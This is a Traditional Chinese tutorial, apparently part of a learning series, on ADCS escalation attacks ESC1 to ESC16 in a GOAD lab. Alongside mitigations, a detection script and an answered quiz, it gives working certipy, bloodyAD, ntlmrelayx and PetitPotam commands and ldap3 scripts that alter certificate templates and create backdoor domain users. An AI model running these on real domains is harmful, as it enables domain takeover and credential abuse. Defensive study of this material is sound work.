
經過前兩天深入探討 ADCS 的各種攻擊手法,今天要進行一個全面性的整理,將所有已知的 ESC(Escalation Scenario)攻擊技術做完整的技術剖析。從 2021 年 SpecterOps 發布的開創性研究到 2024 年最新發現的漏洞,我們將系統性地解析這 16 種攻擊路徑的技術細節。
在完成今天的學習後,你將能夠:
如果你攻擊 ESC 系列的時候發現一直出現 0x80070576 可能是因為 CA 的服務下線,請重新將 Windows 機器們重新開機。
重開機之後,再重新測試,可以正常運作。
ESC1 是最典型的 ADCS 設定錯誤,當憑證範本允許申請者自行指定憑證中的身分資訊(Subject Alternative Name),攻擊者可以申請一張宣稱自己是網域管理員的憑證。
憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當這個設定與客戶端驗證 EKU 結合,且沒有適當的審核機制時,CA 會簽發一張包含任意身分的憑證。
技術細節:
# 步驟 1:識別脆弱的範本
certipy find -u 'missandei@essos.local' -p 'fr3edom' \
    -vulnerable -enabled -dc-ip 192.168.139.12 -stdout | grep "ESC1"
# 步驟 2:申請惡意憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC1' \
    -upn 'administrator@essos.local' \
    -sid 'S-1-5-21-1394808576-3393508183-1134699666-500' \
    -dc-ip 192.168.139.12
# 步驟 3:使用憑證進行驗證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 如果失敗可以使用 ldap
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

ESC2 涉及設定為「任何用途」(Any Purpose)或沒有指定 EKU 的憑證範本。這種憑證可以用於任何目的,包括作為憑證申請代理。
技術關鍵:
# 取得 Any Purpose 憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC2' -dc-ip 192.168.139.12

ESC3 利用憑證申請代理(Enrollment Agent)功能,允許代表其他使用者申請憑證的正常功能被濫用。
技術機制:
# 步驟 1:取得代理憑證
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC2' -dc-ip 192.168.139.12
# 產出:missandei.pfx(含 Certificate Request Agent 能力)
# 步驟 2:使用代理憑證代表 Administrator 申請
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'User' \
    -on-behalf-of 'ESSOS\Administrator' \
    -pfx 'missandei.pfx' \
    -dc-ip 192.168.139.12
# 產出:administrator.pfx
# 步驟 3:使用管理員憑證
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

ESC4 發生在低權限使用者對憑證範本物件擁有寫入權限,可以修改範本設定使其變得脆弱。
憑證範本是 AD 物件,儲存在設定命名環境中。如果 ACL 設定不當,攻擊者可以:
msPKI-Certificate-Name-Flag 啟用 ENROLLEE_SUPPLIES_SUBJECT
# 安裝腳本
pip3 install bloodyad
# 修改範本屬性 (使範本變脆弱)
bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
    --host 192.168.139.12 set object \
    'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
    msPKI-Certificate-Name-Flag -v 1
# 成功將 `msPKI-Certificate-Name-Flag` 設為 1(ENROLLEE_SUPPLIES_SUBJECT)
# 利用修改後的範本 
certipy req -u 'khal.drogo@essos.local' -p 'horse' \
    -target 'braavos.essos.local' -ca 'ESSOS-CA' \
    -template 'ESC4' \
    -upn 'administrator@essos.local' \
    -dc-ip 192.168.139.12
 # 成功取得 administrator 的憑證
# 驗證權限提升 
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell
 
# 成功以 Administrator 身份認證
# 還原範本(清理痕跡)
bloodyAD -u 'khal.drogo' -p 'horse' -d essos.local \
    --host 192.168.139.12 set object \
    'CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' \
    msPKI-Certificate-Name-Flag -v 0
# 成功還原原始設定

Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} | 
ForEach-Object { Get-Acl "AD:$($_.DistinguishedName)" }
ESC5 利用 Active Directory 森林中的權限配置缺陷,允許子網域的機器帳號(特別是域控制器的 SYSTEM 帳號)對父網域的 Public Key Services 容器擁有意外的寫入權限。這個漏洞展示了 AD 森林信任關係中的根本性設計問題。
在 AD 森林架構中,子網域的域控制器需要能夠複製和同步某些配置資訊。然而,這個設計導致了過度的權限授予,使得子網域的機器帳號能夠修改父網域的 PKI 物件,包括憑證範本、CA 設定等關鍵安全元件。
sevenkingdoms.local (父網域)
└── north.sevenkingdoms.local (子網域)
    └── SYSTEM 對父網域的 PKI 容器有完全控制權
PKI 物件階層:
CN=Public Key Services
├── CN=Certificate Templates
├── CN=Enrollment Services  
├── CN=NTAuthCertificates(信任的 CA)
├── CN=AIA(授權資訊存取)
└── CN=CDP(憑證撤銷點)
如果攻擊者可以修改這些物件:
# 檢查 PKI 物件權限
$PKIPath = "CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
Get-Acl "AD:$PKIPath" | Format-List
# 如果有寫入權限,可以新增惡意 CA
# 1. 建立惡意 CA
# 2. 將憑證加入 NTAuthCertificates
# 3. 簽發任意憑證
#!/usr/bin/env python3
# esc5_reconnaissance.py
"""
ESC5 攻擊 - 步驟 1:偵察階段
目的:確認子網域機器帳號對父網域 PKI 物件的權限
作者:Security Research Team
測試環境:GOAD Lab (north.sevenkingdoms.local -> sevenkingdoms.local)
"""
import ldap3
from ldap3 import Server, Connection, NTLM
def check_pki_permissions():
    """
    檢查 WINTERFELL$ (子網域 DC) 對父網域 PKI 容器的權限
    """
    # 連接配置
    server = Server('192.168.139.10', get_info=ldap3.ALL)  # 父網域 DC
    
    # 使用子網域機器帳號認證
    # 注意:這裡使用 NTLM hash 格式 (LM:NT)
    conn = Connection(
        server,
        user='north.sevenkingdoms.local\\WINTERFELL$',
        password='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1',
        authentication=ldap3.NTLM
    )
    
    if conn.bind():
        print("[+] 成功以 WINTERFELL$ 身份連接到父網域")
        
        # 搜尋 PKI 容器
        base_dn = "CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 搜尋所有 PKI 相關物件
        conn.search(
            base_dn,
            '(objectClass=*)',
            attributes=['cn', 'objectClass', 'distinguishedName']
        )
        
        pki_objects = []
        for entry in conn.entries:
            pki_objects.append(entry.entry_dn)
            print(f"[*] 發現 PKI 物件: {entry.cn}")
        
        # 特別檢查憑證範本
        templates_dn = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        conn.search(
            templates_dn,
            '(objectClass=pKICertificateTemplate)',
            attributes=['cn', 'msPKI-Certificate-Name-Flag']
        )
        
        print(f"\n[+] 發現 {len(conn.entries)} 個憑證範本")
        
        # 檢查是否可以修改
        test_dn = "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        try:
            # 嘗試讀取範本屬性
            conn.search(test_dn, '(objectClass=*)', attributes=['msPKI-Certificate-Name-Flag'])
            if conn.entries:
                print(f"[+] 可以讀取範本屬性 - 可能有寫入權限")
                return True
        except Exception as e:
            print(f"[-] 無法讀取範本: {e}")
            return False
            
        conn.unbind()
    else:
        print("[-] 連接失敗")
        return False
if __name__ == "__main__":
    check_pki_permissions()
#!/usr/bin/env python3
# esc5_template_modification.py
"""
ESC5 攻擊 - 步驟 2:範本修改
目的:將安全的憑證範本修改為可被利用的狀態
關鍵修改:
1. ENROLLEE_SUPPLIES_SUBJECT - 允許申請者指定主體名稱
2. Client Authentication EKU - 允許憑證用於身份驗證
3. 移除簽章需求 - 降低申請門檻
"""
import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE
class TemplateModifier:
    def __init__(self, target_dc, machine_account, machine_hash):
        """
        初始化範本修改器
        
        參數:
        target_dc: 父網域 DC IP
        machine_account: 機器帳號名稱
        machine_hash: NTLM hash
        """
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        
    def connect(self):
        """建立連接"""
        if self.conn.bind():
            print("[+] 連接成功")
            return True
        return False
    
    def modify_template(self, template_name="User"):
        """
        修改指定的憑證範本使其脆弱
        
        關鍵屬性說明:
        - msPKI-Certificate-Name-Flag: 
            0 = 使用 AD 資訊
            1 = ENROLLEE_SUPPLIES_SUBJECT (允許指定任意主體)
        
        - pKIExtendedKeyUsage:
            1.3.6.1.5.5.7.3.2 = Client Authentication
            1.3.6.1.5.5.7.3.1 = Server Authentication
        
        - msPKI-RA-Signature:
            0 = 不需要簽章
            1+ = 需要指定數量的簽章
        
        - msPKI-Enrollment-Flag:
            0 = 無特殊標記
            32 = AUTO_ENROLLMENT
        """
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        modifications = {
            # 允許申請者提供主體名稱 - ESC1 的關鍵
            'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [1])],
            
            # 新增客戶端認證 EKU - 允許用於身份驗證
            'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.2'])],
            
            # 移除簽章需求 - 降低申請門檻
            'msPKI-RA-Signature': [(MODIFY_REPLACE, [0])],
            
            # 設定自動註冊標記 - 簡化申請流程
            'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [32])]
        }
        
        print(f"[*] 正在修改範本: {template_name}")
        
        for attr, value in modifications.items():
            try:
                self.conn.modify(template_dn, {attr: value})
                print(f"    [+] 成功修改 {attr}")
            except Exception as e:
                print(f"    [-] 無法修改 {attr}: {e}")
        
        return True
    
    def publish_template_to_ca(self, template_name, ca_name="SEVENKINGDOMS-CA"):
        """
        將範本發布到 CA
        這是必要步驟,否則範本無法使用
        """
        ca_dn = f"CN={ca_name},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        from ldap3 import MODIFY_ADD
        try:
            self.conn.modify(ca_dn, {
                'certificateTemplates': [(MODIFY_ADD, [template_name])]
            })
            print(f"[+] 範本 {template_name} 已發布到 CA")
            return True
        except Exception as e:
            # 可能範本已經發布
            print(f"[*] 範本可能已發布: {e}")
            return False
# 主程式
if __name__ == "__main__":
    modifier = TemplateModifier(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    if modifier.connect():
        # 修改多個範本以增加成功機會
        templates = ['User', 'WebServer', 'Machine']
        
        for template in templates:
            modifier.modify_template(template)
            modifier.publish_template_to_ca(template)
#!/usr/bin/env python3
# esc5_user_creation.py
"""
ESC5 攻擊 - 步驟 3:建立後門使用者
目的:在父網域建立可控制的使用者帳號
這展示了跨網域的物件建立能力
"""
import ldap3
from ldap3 import Server, Connection, NTLM
import random
import string
class CrossDomainUserCreator:
    def __init__(self, target_dc, machine_account, machine_hash):
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        
    def create_user(self, username="ESC5Admin", password="ESC5Attack123!"):
        """
        在父網域建立新使用者
        
        重要:這個操作證明了子網域機器帳號
        不只能修改,還能建立父網域的物件
        """
        if not self.conn.bind():
            print("[-] 連接失敗")
            return False
            
        user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
        
        # 使用者屬性
        user_attributes = {
            'objectClass': ['top', 'person', 'organizationalPerson', 'user'],
            'cn': username,
            'sAMAccountName': username,
            'userPrincipalName': f'{username}@sevenkingdoms.local',
            'displayName': 'ESC5 Test User',
            'description': 'Created via ESC5 attack',
            
            # 512 = NORMAL_ACCOUNT (啟用的一般使用者)
            'userAccountControl': 512,
            
            # 設定初始密碼
            # 注意:密碼需要用 UTF-16LE 編碼並加引號
            'unicodePwd': f'"{password}"'.encode('utf-16le')
        }
        
        try:
            # 建立使用者
            self.conn.add(user_dn, attributes=user_attributes)
            
            if self.conn.result['result'] == 0:
                print(f"[+] 成功在父網域建立使用者: {username}")
                print(f"    密碼: {password}")
                
                # 嘗試將使用者加入群組
                self.add_to_group(user_dn, "Domain Users")
                
                return True
            else:
                print(f"[-] 建立失敗: {self.conn.result['description']}")
                return False
                
        except Exception as e:
            print(f"[-] 建立使用者時發生錯誤: {e}")
            
            # 如果使用者已存在,嘗試重設密碼
            if "ENTRY_EXISTS" in str(e):
                print("[*] 使用者已存在,嘗試重設密碼")
                return self.reset_password(user_dn, password)
            return False
    
    def add_to_group(self, user_dn, group_name):
        """將使用者加入指定群組"""
        from ldap3 import MODIFY_ADD
        
        group_dn = f"CN={group_name},CN=Users,DC=sevenkingdoms,DC=local"
        
        try:
            self.conn.modify(group_dn, {
                'member': [(MODIFY_ADD, [user_dn])]
            })
            print(f"    [+] 已加入群組: {group_name}")
            return True
        except Exception as e:
            print(f"    [*] 無法加入群組: {e}")
            return False
    
    def reset_password(self, user_dn, new_password):
        """重設使用者密碼"""
        from ldap3 import MODIFY_REPLACE
        
        try:
            encoded_password = f'"{new_password}"'.encode('utf-16le')
            self.conn.modify(user_dn, {
                'unicodePwd': [(MODIFY_REPLACE, [encoded_password])]
            })
            print(f"[+] 密碼已重設")
            return True
        except Exception as e:
            print(f"[-] 無法重設密碼: {e}")
            return False
if __name__ == "__main__":
    creator = CrossDomainUserCreator(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    # 建立多個使用者以增加成功率
    users = [
        ("ESC5Admin", "Complex@Pass123!"),
        ("BackdoorUser", "Hidden@Access456!"),
        ("ServiceAccount", "Svc@Account789!")
    ]
    
    for username, password in users:
        if creator.create_user(username, password):
            print(f"[+] 後門使用者 {username} 建立成功")
            break
#!/usr/bin/env python3
# esc5_cleanup.py
"""
ESC5 攻擊 - 步驟 4:清理痕跡
目的:還原修改,移除痕跡
重要:在真實滲透測試中,清理是必要的道德責任
"""
import ldap3
from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE
import json
import datetime
class ESC5Cleanup:
    def __init__(self, target_dc, machine_account, machine_hash):
        self.server = Server(target_dc, get_info=ldap3.ALL)
        self.conn = Connection(
            self.server,
            user=machine_account,
            password=machine_hash,
            authentication=ldap3.NTLM
        )
        self.backup_file = f"esc5_backup_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
        
    def backup_template(self, template_name):
        """備份原始範本設定"""
        if not self.conn.bind():
            return None
            
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 取得所有屬性
        self.conn.search(template_dn, '(objectClass=*)', attributes=['*'])
        
        if self.conn.entries:
            backup = {}
            for entry in self.conn.entries:
                for attr in entry.entry_attributes:
                    # 轉換為可序列化的格式
                    value = entry[attr].value
                    if isinstance(value, bytes):
                        value = value.hex()
                    backup[attr] = value
            
            # 儲存備份
            with open(self.backup_file, 'w') as f:
                json.dump({template_name: backup}, f, indent=2)
            
            print(f"[+] 範本 {template_name} 已備份到 {self.backup_file}")
            return backup
        return None
    
    def restore_template(self, template_name):
        """還原範本到原始狀態"""
        template_dn = f"CN={template_name},CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local"
        
        # 標準安全設定
        safe_settings = {
            'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [0])],  # 不允許指定主體
            'msPKI-RA-Signature': [(MODIFY_REPLACE, [1])],  # 需要簽章
            'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [0])]  # 標準註冊
        }
        
        if not self.conn.bind():
            print("[-] 無法連接")
            return False
            
        for attr, value in safe_settings.items():
            try:
                self.conn.modify(template_dn, {attr: value})
                print(f"    [+] 還原 {attr}")
            except Exception as e:
                print(f"    [-] 無法還原 {attr}: {e}")
        
        return True
    
    def remove_user(self, username):
        """移除建立的後門使用者"""
        if not self.conn.bind():
            return False
            
        user_dn = f"CN={username},CN=Users,DC=sevenkingdoms,DC=local"
        
        try:
            self.conn.delete(user_dn)
            print(f"[+] 已移除使用者: {username}")
            return True
        except Exception as e:
            print(f"[-] 無法移除使用者: {e}")
            return False
    
    def audit_changes(self):
        """
        審計所有修改
        在真實環境中,這些修改會產生事件日誌
        """
        print("\n[*] ESC5 攻擊會產生的事件日誌:")
        print("    - 事件 ID 4899: 憑證範本更新")
        print("    - 事件 ID 4720: 建立使用者帳號")
        print("    - 事件 ID 4738: 使用者帳號變更")
        print("    - 事件 ID 5136: 目錄服務物件修改")
        print("\n[!] 防禦者應監控這些事件")
if __name__ == "__main__":
    cleanup = ESC5Cleanup(
        target_dc='192.168.139.10',
        machine_account='north.sevenkingdoms.local\\WINTERFELL$',
        machine_hash='aad3b435b51404eeaad3b435b51404ee:1706805fc0ac487ec0e618a73371fde1'
    )
    
    # 執行清理
    print("[*] 開始清理 ESC5 攻擊痕跡")
    
    # 還原範本
    for template in ['User', 'WebServer', 'Machine']:
        print(f"\n[*] 還原範本: {template}")
        cleanup.restore_template(template)
    
    # 移除後門使用者
    for username in ['ESC5Admin', 'BackdoorUser', 'ServiceAccount', 'ESC5User']:
        cleanup.remove_user(username)
    
    # 審計報告
    cleanup.audit_changes()





即使無法直接申請憑證,這個漏洞仍然嚴重:
ESC6 發生在 CA 層級啟用 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標,允許申請者透過請求屬性指定 SAN。
san:upn=administrator@corp.local&sid=S-1-5-21-...-500
certipy req -u 'missandei@essos.local' -p 'fr3edom' \
-target 'braavos.essos.local' -ca 'ESSOS-CA' \
-template 'User' \
-upn 'administrator@essos.local' \
-dc-ip 192.168.139.12
certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.139.12 -ldap-shell

# 停用危險旗標
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvc
ESC7 發生在低權限使用者擁有 CA 的 ManageCA 或 ManageCertificates 權限。
# 步驟 1:確認使用者擁有 ESC7 權限
certipy find -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 -vulnerable -stdout | grep ESC7
# 輸出確認:ESC7 - User has dangerous permissions.
# 步驟 2:列出當前已啟用的憑證範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -list-templates \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 注意:SubCA 範本預設未在清單中(已停用)
# 步驟 3:啟用危險的 SubCA 範本
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -enable-template 'SubCA' \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully enabled 'SubCA' on 'ESSOS-CA'
# 步驟 4:驗證 SubCA 範本已啟用
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -list-templates \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# SubCA 現在出現在已啟用範本清單的第一位
# 步驟 5:清理 - 停用 SubCA 範本(重要!)
certipy ca -u 'daenerys.targaryen@essos.local' -p 'BurnThemAll!' \
    -ca 'ESSOS-CA' -disable-template 'SubCA' \
    -dc-ip 192.168.139.12 -target 192.168.139.23
# 成功訊息:Successfully disabled 'SubCA' on 'ESSOS-CA'


ESC8 利用 AD CS Web Enrollment 服務未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。
# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.23/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController
# 步驟 2:強制 DC 驗證(自動觸發)
# MEEREEN$ (DC) 自動進行了 NTLM 認證
# 實際環境可使用 PetitPotam、Coercer 等工具
python3 PetitPotam.py -u 'missandei' -p 'fr3edom' \
    -d essos.local 192.168.139.136 192.168.139.12
# 步驟 3:自動取得 DC 憑證
# 輸出:MEEREEN$.pfx (Certificate ID: 153)
# 步驟 4:使用憑證進行 LDAP 認證
certipy auth -pfx 'MEEREEN$.pfx' -dc-ip 192.168.139.12 -ldap-shell
# 成功認證為:ESSOS\MEEREEN$

# 步驟 1:啟動 NTLM 中繼監聽
ntlmrelayx.py -t http://192.168.139.10/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController
# 步驟 2:強制 DC 驗證(使用 PetitPotam)
python3 PetitPotam.py -u 'jon.snow' -p 'iknownothing' \
    -d north.sevenkingdoms.local \
    192.168.139.136 192.168.139.11
# 步驟 3:自動取得 DC 憑證
# 輸出:WINTERFELL$.pfx
# 步驟 4:使用憑證認證
certipy auth -pfx 'WINTERFELL$.pfx' \
    -username 'winterfell$' \
    -domain 'north.sevenkingdoms.local' \
    -dc-ip 192.168.139.11
ESC9 涉及範本設定 CT_FLAG_NO_SECURITY_EXTENSION,不包含 SID 安全擴充。
# 步驟 1:修改受害者的 UPN
certipy account update \
    -u 'daenerys.targaryen@essos.local' \
    -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 \
    -user 'missandei' \
    -upn 'administrator'
# 步驟 2:以受害者身分申請憑證
certipy req \
    -u 'missandei@essos.local' \
    -p 'fr3edom' \
    -target 192.168.139.23 \
    -ca 'ESSOS-CA' \
    -template 'ESC9' \
    -dc-ip 192.168.139.12
# 步驟 3:還原 UPN(清理痕跡)
certipy account update \
    -u 'daenerys.targaryen@essos.local' \
    -p 'BurnThemAll!' \
    -dc-ip 192.168.139.12 \
    -user 'missandei' \
    -upn 'missandei@essos.local'
# 步驟 4:使用憑證認證
certipy auth \
    -pfx 'administrator.pfx' \
    -username 'administrator' \
    -domain 'essos.local' \
    -dc-ip 192.168.139.12


reg add HKLM\SYSTEM\CurrentControlSet\Services\Kdc \
    /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2
ESC10 涉及 Schannel 的憑證映射方法設定不當,允許基於 UPN 的映射。
# 步驟 1:修改受害者 UPN 為 DC 帳號
certipy account -u 'attacker@corp.local' -p 'Password!' \
    -dc-ip 192.168.139.10 -user 'victim' \
    -upn 'dc$@corp.local' update
# 步驟 2:申請憑證
certipy req -k -dc-ip 192.168.139.10 \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'User'
# 步驟 3:透過 LDAPS 驗證
certipy auth -pfx 'dc.pfx' -dc-ip 192.168.139.10 -ldap-shell
# 設定安全的映射方法
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL \
    /v CertificateMappingMethods /t REG_DWORD /d 0x18
ESC11 類似 ESC8,但目標是 CA 的 RPC 介面而非 Web 服務。
# 步驟 1:啟動 RPC 中繼
certipy relay -target 'rpc://ca.corp.local' \
    -ca 'CORP-CA' -template 'DomainController'
# 步驟 2:強制驗證
# (使用 PetitPotam 或其他工具)
# 步驟 3:自動取得憑證
# 強制 RPC 加密
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc
net start certsvc
ESC12 是特定硬體 HSM(YubiHSM2)的軟體堆疊弱點,允許低權限使用者濫用 CA 簽章功能。
這是硬體特定的攻擊,需要:
ESC13 利用憑證的發行策略(Issuance Policy)OID 連結到 AD 群組的機制。
msDS-OIDToGroupLink 屬性指向 AD 群組# 步驟 1:識別有群組連結的範本
certipy find -u 'user@corp.local' -p 'Password!' \
    -vulnerable -dc-ip 192.168.139.10 -oids
# 步驟 2:申請憑證
certipy req -u 'user@corp.local' -p 'Password!' \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'LinkedPolicyTemplate'
# 步驟 3:使用憑證(自動獲得連結群組權限)
certipy auth -pfx 'user.pfx' -dc-ip 192.168.139.10
Get-ADObject -Filter {objectClass -eq "msPKI-Enterprise-Oid"} -Properties *
ESC14 涉及 altSecurityIdentities 屬性使用弱映射規則。
弱映射範例:
X509:<S>CN=User(只依賴 CN)X509:<RFC822>email@domain.com(依賴郵件)使用強映射格式:
X509:<I>IssuerDN<SR>SerialNumber
X509:<SHA1-PUKEY>PublicKeyHash
ESC15 允許在未修補的 CA 上,對 V1 範本注入任意應用策略。
# 注入客戶端驗證到 Web 伺服器範本
certipy req -u 'user@corp.local' -p 'Password!' \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'WebServer' \
    -application-policies 'Client Authentication' \
    -upn 'administrator@corp.local'
ESC16 是 CA 層級停用 SID 安全擴充,影響所有憑證。
與 ESC9 相同,但適用於該 CA 的所有範本。
# 重新啟用安全擴充
certutil -setreg policy\DisableExtensionList -1.3.6.1.4.1.311.25.2
net stop certsvc
net start certsvc
| ESC編號 | 主要防禦措施 | 監控重點 | 優先級 | 
|---|---|---|---|
| ESC1 | 停用申請者提供主體 | Event 4886 | 極高 | 
| ESC2 | 明確指定 EKU | 範本變更 | 高 | 
| ESC3 | 限制代理憑證 | 代理活動 | 高 | 
| ESC4 | 審查範本 ACL | Event 4899 | 極高 | 
| ESC5 | 限制 PKI 物件權限 | Event 5136 | 中 | 
| ESC6 | 停用 EDITF_ATTRIBUTESUBJECTALTNAME2 | CA 設定變更 | 極高 | 
| ESC7 | 限制 CA 權限 | Event 4876 | 極高 | 
| ESC8 | 啟用 EPA | Web 存取日誌 | 極高 | 
| ESC9 | 移除 NoSecurityExtension | 憑證內容 | 高 | 
| ESC10 | 設定 CertificateMappingMethods | LDAPS 驗證 | 中 | 
| ESC11 | 強制 RPC 加密 | RPC 連線 | 高 | 
| ESC12 | 更新 HSM 軟體 | HSM 日誌 | 低 | 
| ESC13 | 審查 OID 連結 | 群組變更 | 中 | 
| ESC14 | 使用強映射 | altSecurityIdentities | 低 | 
| ESC15 | 安裝修補程式 | 異常 EKU | 極高 | 
| ESC16 | 啟用安全擴充 | CA 設定 | 極高 | 
# ADCS 安全檢測腳本
function Test-ADCSSecurity {
    Write-Host "=== ADCS 安全檢測 ===" -ForegroundColor Cyan
    
    # ESC1 檢測
    $ESC1Templates = Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * |
        Where-Object {
            $_.'msPKI-Certificate-Name-Flag' -band 1 -and
            $_.'pKIExtendedKeyUsage' -match '1.3.6.1.5.5.7.3.2'
        }
    
    if ($ESC1Templates) {
        Write-Host "[!] 發現 ESC1 脆弱範本:" -ForegroundColor Red
        $ESC1Templates | ForEach-Object { Write-Host "    - $($_.Name)" }
    }
    
    # ESC6 檢測
    $EditFlags = certutil -getreg policy\EditFlags
    if ($EditFlags -match "EDITF_ATTRIBUTESUBJECTALTNAME2") {
        Write-Host "[!] ESC6:CA 允許 SAN 規範" -ForegroundColor Red
    }
    
    # ESC9/16 檢測
    $DisabledExt = certutil -getreg policy\DisableExtensionList
    if ($DisabledExt -match "1.3.6.1.4.1.311.25.2") {
        Write-Host "[!] ESC16:安全擴充被停用" -ForegroundColor Red
    }
}
Test-ADCSSecurity
ADCS 的 ESC 系列攻擊展現了企業 PKI 基礎設施的複雜性和潛在風險。每種攻擊都有其特定的前提條件、攻擊路徑和防禦方法。重要的是要理解:
記住:ADCS 安全不是一次性的設定,而是持續的監控、稽核和改進過程。定期執行安全評估,保持系統更新,並教育管理員瞭解這些風險,是維護企業 PKI 安全的關鍵。
在 ESC1 攻擊中,哪個憑證範本旗標是造成漏洞的關鍵設定?
A. CT_FLAG_MACHINE_TYPE
B. CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
C. CT_FLAG_AUTO_ENROLLMENT
D. CT_FLAG_PUBLISH_TO_DS
答案:B
解析:
ESC1 漏洞的核心在於憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標,這個設定允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當此旗標被啟用且結合客戶端驗證 EKU 時,攻擊者可以申請一張宣稱自己是網域管理員的憑證。其他選項都不是 ESC1 的關鍵要素。
下列哪個 ESC 攻擊需要利用「憑證申請代理」(Enrollment Agent) 功能?
A. ESC1 - 允許申請者提供主體名稱
B. ESC2 - Any Purpose 憑證範本
C. ESC3 - 憑證申請代理濫用
D. ESC4 - 範本劫持
答案:C
解析:
ESC3 專門利用憑證申請代理(Enrollment Agent)功能,這個功能原本設計給 IT 人員協助使用者申請憑證。攻擊者取得包含特定 EKU(1.3.6.1.4.1.311.20.2.1)的代理憑證後,可以代表任何人申請憑證。攻擊流程包括先取得代理憑證,然後使用 -on-behalf-of 參數代表 Administrator 申請憑證。
在 ESC4 攻擊中,攻擊者主要修改憑證範本的哪個屬性來實現權限提升?
A. msPKI-Certificate-Name-Flag 設為 1
B. msPKI-RA-Signature 設為 100
C. msPKI-Enrollment-Flag 設為 0
D. pKIMaxIssuingDepth 設為 10
答案:A
解析:
ESC4 攻擊的核心是修改範本的 msPKI-Certificate-Name-Flag 屬性設為 1,這會啟用 ENROLLEE_SUPPLIES_SUBJECT 功能。攻擊者如果對憑證範本物件擁有寫入權限,可以修改這個屬性,使原本安全的範本變得脆弱,允許申請者自行指定憑證中的身分資訊。這樣就能將一個安全的範本轉變為類似 ESC1 的脆弱範本。
